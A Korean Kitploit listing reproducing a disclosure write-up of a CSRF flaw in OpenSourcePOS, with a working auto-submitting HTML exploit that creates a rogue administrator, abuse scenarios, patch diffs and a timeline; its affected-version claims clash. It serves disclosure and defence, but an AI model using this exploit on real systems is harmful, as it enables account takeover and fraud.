Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/nixon-h/cve-2025-68434-ospos-csrf
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubnixon-h/cve-2025-68434-ospos-csrf

CVE-2025-68434-OSPOS-CSRF

PoC & Write-up for CVE-2025-68434: OpenSourcePOS의 치명적인 CSRF 취약점에 대한 분석입니다. 비활성화된 필터 설정을 악용하여 인증되지 않은 공격자가 가짜 관리자 계정을 무단 생성할 수 있게 하며, 이는 전체 시스템 장악으로 이어집니다. 버전 < 3.4.0에서 검증됨.

저장소 보기
3123개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-68434: OpenSourcePOS에서 CSRF를 통한 무단 관리자 생성

메타데이터세부사항
CVE IDCVE-2025-68434
심각도심각 (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
취약점 유형사이트 간 요청 위조 (CWE-352)
영향받는 버전OpenSourcePOS v3.4.0, v3.4.1
패치 버전v3.4.2
취약한 구성 요소app/Config/Filters.php (전역 보안 필터)
제보자Aditya Singh (Nixon-H)

📝 요약

OpenSourcePOS의 핵심 보안 구성에서 심각한 사이트 간 요청 위조(CSRF) 취약점이 발견되었습니다. 애플리케이션의 전역 CSRF 보호 메커니즘이 app/Config/Filters.php 파일 내에서 임시 개발 "TODO"로 인해 명시적으로 비활성화되었으며, 이는 결코 해결되지 않았습니다.

이러한 잘못된 구성으로 인해 애플리케이션은 유효한 위조 방지 토큰을 확인하지 않고 상태를 변경하는 HTTP 요청(POST)을 수락할 수 있었습니다. 인증되지 않은 원격 공격자는 로그인된 관리자를 악의적인 페이지로 방문하도록 속여 이 취약점을 악용할 수 있습니다. 공격자의 페이지는 피해자의 브라우저가 관리 작업(특히 전체 권한을 가진 새로운 "백도어" 관리자 계정 생성)을 자동으로 실행하도록 하여 완전한 시스템 장악을 초래합니다.


🕵️‍♂️ 기술적 근본 원인 분석

취약한 구성

취약점은 전역 필터 구성(app/Config/Filters.php)에 있었습니다. CodeIgniter 4에서 $globals 배열은 모든 요청에 대해 실행할 필터를 결정합니다.

영향을 받는 버전에서는 csrf 필터가 before 실행 목록에서 주석 처리되어 애플리케이션 전체에서 CSRF 보호가 효과적으로 비활성화되었습니다.

취약한 코드 (app/Config/Filters.php):

root@kitploit:~
public array $globals = [
    'before' => [
        'honeypot',
        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
        'invalidchars',
    ],
    // ...
];

이 줄이 주석 처리되었기 때문에 csrf_token_name을 확인하는 미들웨어가 실행되지 않았습니다. 애플리케이션은 모든 출처의 모든 POST 요청을 수락했으며, 인증을 위해 세션 쿠키(ospos_session)에만 의존했습니다.


💥 개념 증명 (PoC)

공격 시나리오

  1. 공격자: 외부 서버에 csrf_exploit.html 파일을 호스팅합니다.
  2. 피해자: 로그인된 OpenSourcePOS 관리자 (활성 세션).
  3. 트리거: 피해자가 공격자 사이트의 링크를 클릭하도록 속임.
  4. 실행: 악성 페이지가 로드되어 충돌을 피하기 위해 고유한 임의 사용자 이름을 생성하고 숨겨진 양식을 피해자의 로컬 OpenSourcePOS 인스턴스에 자동 제출합니다.
  5. 결과: 새로운 관리자 계정(예: valid_12345)이 즉시 생성됩니다.

익스플로잇 코드 (POC/csrf_exploit.html)

다음은 전체 권한을 가진 불량 관리자를 생성하는 데 사용된 정확한 페이로드입니다:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>OSPOS CSRF Exploit (Verified)</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .status { color: green; font-weight: bold; }
    </style>
</head>
<body>
    <h2>OSPOS Privilege Escalation Exploit</h2>
    <p>Creating Administrator account...</p>
    <p id="msg" class="status">Initializing payload...</p>

    <form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">

        <input type="hidden" name="first_name" value="Valid">
        <input type="hidden" name="last_name" value="User">
        <input type="hidden" name="username" id="username" value="">
        <input type="hidden" name="email" id="email" value="">
        
        <input type="hidden" name="phone_number" value=""> 
        <input type="hidden" name="password" value="Password123!">
        <input type="hidden" name="repeat_password" value="Password123!">
        <input type="hidden" name="gender" value="1">
        <input type="hidden" name="language" value=":">
        
        <input type="hidden" name="address_1" value="">
        <input type="hidden" name="address_2" value="">
        <input type="hidden" name="city" value="">
        <input type="hidden" name="state" value="">
        <input type="hidden" name="zip" value="">
        <input type="hidden" name="country" value="">
        <input type="hidden" name="comments" value="CSRF_PoC_Successful">

        <input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
        <input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
        <input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
        <input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
        <input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
        <input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
        <input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
        <input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
        <input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
        <input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
        <input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
        <input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
        <input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
        <input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
        <input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
        <input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
        <input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
        <input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">

        <input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
        <input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
        <input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
        <input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
        <input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
        
        <input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
        <input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
        <input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
        <input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
        <input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
        <input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
        <input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
        <input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
        <input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
        <input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
        <input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
        <input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
        <input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">

        <input type="hidden" name="honeypot" value="">

        <script>
            // 1. Generate unique ID to ensure valid creation
            var id = Math.floor(Math.random() * 99999);
            var user = "valid_" + id;
            
            // 2. Inject into form
            document.getElementById('username').value = user;
            document.getElementById('email').value = user + "@test.com";
            
            document.getElementById('msg').innerText = "Attacking with user: " + user;

            // 3. Auto-submit
            setTimeout(function() {
                document.getElementById('hackForm').submit();
            }, 1000);
        </script>
    </form>
</body>
</html>

📷 미디어 증빙

(이미지 및 익스플로잇 파일은 POC/ 디렉터리에 있습니다)

스크린샷 1: 익스플로잇 실행

스크린샷 2: 불량 계정 생성

🎥 동영상 시연: PoC 동영상 보기/다운로드


⚠️ 영향 시나리오

1. 그림자 관리자 지속성 ("백도어")

생성된 계정은 단순한 임시 세션이 아니라 영구적인 데이터베이스 항목입니다.

  • 영향: 실제 관리자가 로그아웃하더라도 공격자는 무기한 액세스 권한을 유지합니다.
  • 은밀성: 공격자는 사용자 이름을 "System_Updater" 또는 "Support_Account"로 지정하여 합법적인 사용자와 혼합될 수 있으며, 이를 통해 수개월 동안 탐지되지 않고 데이터를 빼낼 수 있습니다.

2. 공급망 파괴 (XSS와 연결)

grant_config 권한을 사용하여 공격자는 스토어 구성을 수정할 수 있습니다.

  • 공격: 공격자는 CSRF를 사용하여 "반품 정책" 필드에 악성 JavaScript 페이로드를 주입합니다(CVE-2025-68147 악용).
  • 영향: POS 시스템이 워터링 홀로 변합니다. 영수증을 보는 모든 직원이나 고객이 맬웨어에 감염되거나 세션이 하이재킹됩니다.

3. 재정 사기 및 서비스 거부

  • 사기: 공격자는 수천 달러 상당의 "기프트 카드"를 생성하고 코드를 자신에게 이메일로 보냅니다.
  • 서비스 거부: 공격자는 대량 삭제 작업(/items/delete)을 트리거하여 전체 제품 재고 데이터베이스를 지우고 비즈니스 운영을 중단시킵니다.

🛡️ 해결 방법

이 취약점은 OpenSourcePOS v3.4.2에서 수정되었습니다. 수정에는 애플리케이션의 AJAX 중심 판매 인터페이스에서 경합 조건을 처리하기 위한 다단계 아키텍처 변경이 필요했습니다.

1. 필터 재활성화

app/Config/Filters.php에서 전역 CSRF 필터가 주석 해제되었습니다.

root@kitploit:~
     'before' => [
         'honeypot',
-        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
+        'csrf' => ['except' => 'login'],
         'invalidchars',
     ],

2. 보안 저장 전략 변경

app/Config/Security.php에서 개발자는 쿠키 기반 토큰에서 세션 기반 토큰으로 전환하고, 병렬 AJAX 요청(예: 판매 모듈) 문제를 방지하기 위해 토큰 재생성을 비활성화했습니다.

root@kitploit:~
-   public string $csrfProtection = 'cookie';
+   public string $csrfProtection = 'session';

-   public bool $regenerate = true;
+   public bool $regenerate = false;

3. 프론트엔드 토큰 처리

app/Views/partial/header_js.php 파일이 업데이트되어 클라이언트 측 쿠키에서 읽는 대신 서버에서 직접 토큰 해시를 주입하여 보안 태세를 개선했습니다.

root@kitploit:~
-   var csrf_token = function() {
-       return Cookies.get(cookie_name);
-   };
+   var csrf_token = function() {
+       return "<?= csrf_hash() ?>";
+   };


📅 공개 타임라인

  • 2025-12-12: Aditya Singh (Nixon-H) 가 수동 보안 감사 중 취약점 발견.
  • 2025-12-13: GitHub/이메일을 통해 유지 관리자(Jeroen Peelaerts)에게 책임 있는 공개 보고서 전송.
  • 2025-12-14: 유지 관리자가 취약점 확인.
  • 2025-12-16: 패치 개발(커밋 d575c8d) 및 연구원 확인.
  • 2025-12-19: 버전 3.4.2에서 패치 릴리스.
  • 2025-12-19: GitHub Security Advisory를 통해 공개 공개.

🔗 참조

  • 권고: GHSA-wjm4-hfwg-5w5r
  • 패치: 커밋 d575c8d
  • 제보자: Aditya Singh (Nixon-H)
도구 다운로드